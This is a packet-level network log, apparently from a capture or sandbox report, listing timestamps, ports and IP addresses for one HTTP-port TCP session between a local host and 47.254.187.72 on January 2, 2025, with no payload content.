Jan 2, 2025 20:34:49.787960052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.787971973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.787993908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.788017988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.790667057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790678024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790694952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790704966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790714979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790725946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790740013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790750980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.790760040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790771008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790781021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790791988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790797949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.790802956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790812969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790826082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790836096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790847063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.790852070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.790884972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791316986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791330099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791340113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791382074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791414976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791421890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791433096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791450977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791462898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791462898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791474104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791481972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791503906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791534901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791732073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791748047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791763067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791771889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791783094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791785955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791793108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791804075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791815042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.791827917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.791871071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792180061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792190075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792201042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792212009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792243958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792260885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792263031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792272091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792282104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792293072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792304039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792304993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792314053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792320967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792325020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792335987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792346001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.792368889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.792395115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.837466002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837483883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837502956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837513924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837523937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837534904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837546110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837558031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.837562084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.837637901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872441053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872466087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872489929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872508049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872524977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872529984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872538090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872550011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872560978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872562885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872570992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872581959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872592926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872603893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872613907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872622013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872623920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872642040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872653008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872659922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872672081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872673035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872684002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872694016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872699976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872704029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872715950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872735023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872740030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872754097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872756004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872766972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872772932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872776985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872788906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872800112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872805119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872834921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872891903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872903109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872914076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872924089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872934103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872937918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872947931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872963905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872966051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.872977018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872987032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872997999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.872999907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873023987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873043060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873248100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873291016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873295069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873306036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873332024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873338938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873347998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873363972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873372078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873408079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873441935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873459101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873471022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873481035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873483896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873492956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873502016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873502016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873512983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873518944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873523951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873550892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873564005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873564959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873572111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873577118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873595953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873626947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873629093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873637915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873647928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873658895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873668909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873671055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873681068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873688936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873692036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873707056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873735905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873774052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873784065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873795986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873806000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873811960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873816967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873881102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873892069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873908997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873909950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873909950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873919010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873919010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873935938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873939037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873949051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873960018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.873960972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.873980999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.874006033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.874011040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.874026060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.874037027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.874047995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.874057055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.874103069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.875123978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875135899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875147104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875164032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.875194073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.875416994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875428915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875443935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.875461102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.875482082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.876837015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.876853943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.876866102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.876882076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.876909018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.877140045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.877186060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.880019903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.880033970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.880083084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.880101919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.880204916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.880217075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.880229950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.880249023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.880275011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.881570101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.881586075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.881597042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.881618023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.881658077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.884320974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.884336948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.884351015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.884361982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.884373903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.884382010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.884407997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.886061907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.886092901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.886112928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.886127949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.886490107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.886502981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.886513948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.886540890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.886567116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.888104916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.888118029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.888129950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.888150930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.888174057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.890852928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.890877008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.890886068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.890896082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.890932083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.891041040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.891053915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.891063929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.891083002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.891104937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.892335892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.892350912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.892363071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.892378092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.892400980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.893891096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.893907070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.893918037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.893939018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.893963099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.894110918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.894121885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.894134998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.894150019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.894177914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.924314022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924335003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924346924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924357891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924370050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924376965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.924381971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.924412966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.924458981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959160089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959182024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959202051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959213972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959228039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959244967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959244967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959255934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959266901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959278107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959287882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959297895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959301949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959323883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959331036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959342003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959347963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959353924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959364891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959377050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959378958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959405899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959424019 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959424973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959435940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959462881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959462881 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959481955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959481955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959495068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959503889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959503889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959515095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959521055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959532022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959541082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959543943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959553957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959566116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959570885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959577084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959590912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959594011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959603071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959604979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959618092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959629059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959636927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959640026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959651947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959672928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959697962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.959712029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959722996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959732056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959743023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959754944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.959764004 CET	49730	80	192.168.2.4	47.254.187.72
